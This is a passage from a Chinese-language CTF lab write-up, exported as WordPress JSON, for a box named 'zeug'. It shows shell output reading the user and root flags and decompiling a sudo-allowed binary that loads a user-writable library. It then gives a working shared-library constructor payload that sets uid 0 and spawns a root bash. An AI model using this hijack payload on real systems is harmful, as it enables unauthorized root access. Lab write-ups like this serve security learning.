exia@zeug:\/home\/cosette$ cd \/home\/exia\nexia@zeug:~$ ls -la\ntotal 44\ndrwx------ 3 exia exia  4096 Jan  6 23:23 .\ndrwxr-xr-x 4 root root  4096 Jan  6 19:28 ..\nlrwxrwxrwx 1 exia exia     9 Jan  6 23:23 .bash_history -> \/dev\/null\n-rwx------ 1 exia exia   220 Apr 23  2023 .bash_logout\n-rwx------ 1 exia exia  3526 Apr 23  2023 .bashrc\ndrwx------ 3 exia exia  4096 Jan  6 21:46 .local\n-rwx------ 1 exia exia   807 Apr 23  2023 .profile\n-rwx------ 1 exia exia 15744 Jan  6 21:59 seed\n-rwx------ 1 exia exia    38 Jan  6 22:14 user.txt\nexia@zeug:~$ cat user.txt\nHMYVM{exia_1XZ2GUy6gwSRwXwFUKEkZC6cT}\nexia@zeug:~$ sudo -l\nMatching Defaults entries for exia on zeug:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin, use_pty\n\nUser exia may run the following commands on zeug:\n    (root) NOPASSWD: \/usr\/bin\/zeug<\/code><\/pre>\n
\u53cd\u7f16\u8bd1zeug<\/h4>\n
\/\/ main.c\nint __cdecl main(int argc, const char **argv, const char **envp)\n{\n  if ( dlopen("\/home\/exia\/exia.so", 2) )\n    return 0;\n  fwrite("Error opening file\\n", 1uLL, 0x13uLL, _bss_start);\n  return 1;\n}<\/code><\/pre>\n
\u5b83\u8fd0\u884c\u4e86\/home\/exia.so<\/code>\u76ee\u5f55\u4e0b\u7684\u94fe\u63a5\u5e93\u6587\u4ef6\uff0c\u5c1d\u8bd5\u8fdb\u884c\u52ab\u6301\u5229\u7528<\/a>\uff1a<\/p>\n
\/\/ exia.c\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nvoid inject()__attribute__((constructor));\n\nvoid inject() {\n    unsetenv("LD_PRELOAD");\n    setuid(0);\n    setgid(0);\n    system("\/bin\/bash");\n}<\/code><\/pre>\n
\u7136\u540e\u7f16\u8bd1\u4e3a\u94fe\u63a5\u5e93\u6587\u4ef6\uff1a<\/p>\n
gcc  -fPIC -shared -o exia.so exia.c<\/code><\/pre>\n
\"image-20240328182210680\"<\/div><\/p>\n
\u4f20\u8fc7\u53bb\uff0c\u8fd0\u884c\u83b7\u5f97root\uff01<\/p>\n
\"image-20240328182504876\"<\/div><\/p>\n
\u5bfb\u627eflag<\/h4>\n
exia@zeug:~$ sudo \/usr\/bin\/zeug\nroot@zeug:\/home\/exia# whoami;id\nroot\nuid=0(root) gid=0(root) groups=0(root)\nroot@zeug:\/home\/exia# cd \/root\nroot@zeug:~# ls -la\ntotal 32\ndrwx------  4 root root 4096 Jan  6 23:52 .\ndrwxr-xr-x 18 root root 4096 Jan  6 13:28 ..\nlrwxrwxrwx  1 root root    9 Jan  6 23:20 .bash_history -> \/dev\/null\n-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc\n-rw-------  1 root root   20 Jan  6 22:40 .lesshst\ndrwxr-xr-x  3 root root 4096 Jan  6 13:52 .local\n-rw-r--r--  1 root root  161 Jul  9  2019 .profile\n-rw-------  1 root root    0 Jan  6 15:13 .python_history\n-rw-r--r--  1 root root   38 Jan  6 23:06 root.txt\ndrwx------  2 root root 4096 Jan  6 23:52 .ssh\nroot@zeug:~# cat root.txt \nHMYVM{root_Ut9RX5o7iZVKXjrOgcGW3fxBq}<\/code><\/pre>\n
\u53c2\u8003blog<\/h2>\n
https:\/\/www.cnblogs.com\/bmjoker\/p\/13508538.html<\/a><\/p>\n
https:\/\/moonsec.top\/articles\/108<\/a><\/p>\n
https:\/\/hackmanit.de\/en\/blog-en\/178-template-injection-vulnerabilities-understand-detect-identify<\/a><\/p>\n
https:\/\/wiki.wgpsec.org\/knowledge\/ctf\/SSTI.html<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
zeug \u5bfc\u5165\u9776\u573a\u65f6\uff0c\u5efa\u8bae\u4f7f\u7528\u4e3a\u6240\u6709\u7f51\u5361\u91cd\u65b0\u751f\u6210MAC\u5730\u5740\u3002 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf nmap -sCV 10.0 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,22],"tags":[],"class_list":["post-471","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-reverse"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/471","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=471"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/471\/revisions"}],"predecessor-version":[{"id":476,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/471\/revisions\/476"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=471"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=471"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=471"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}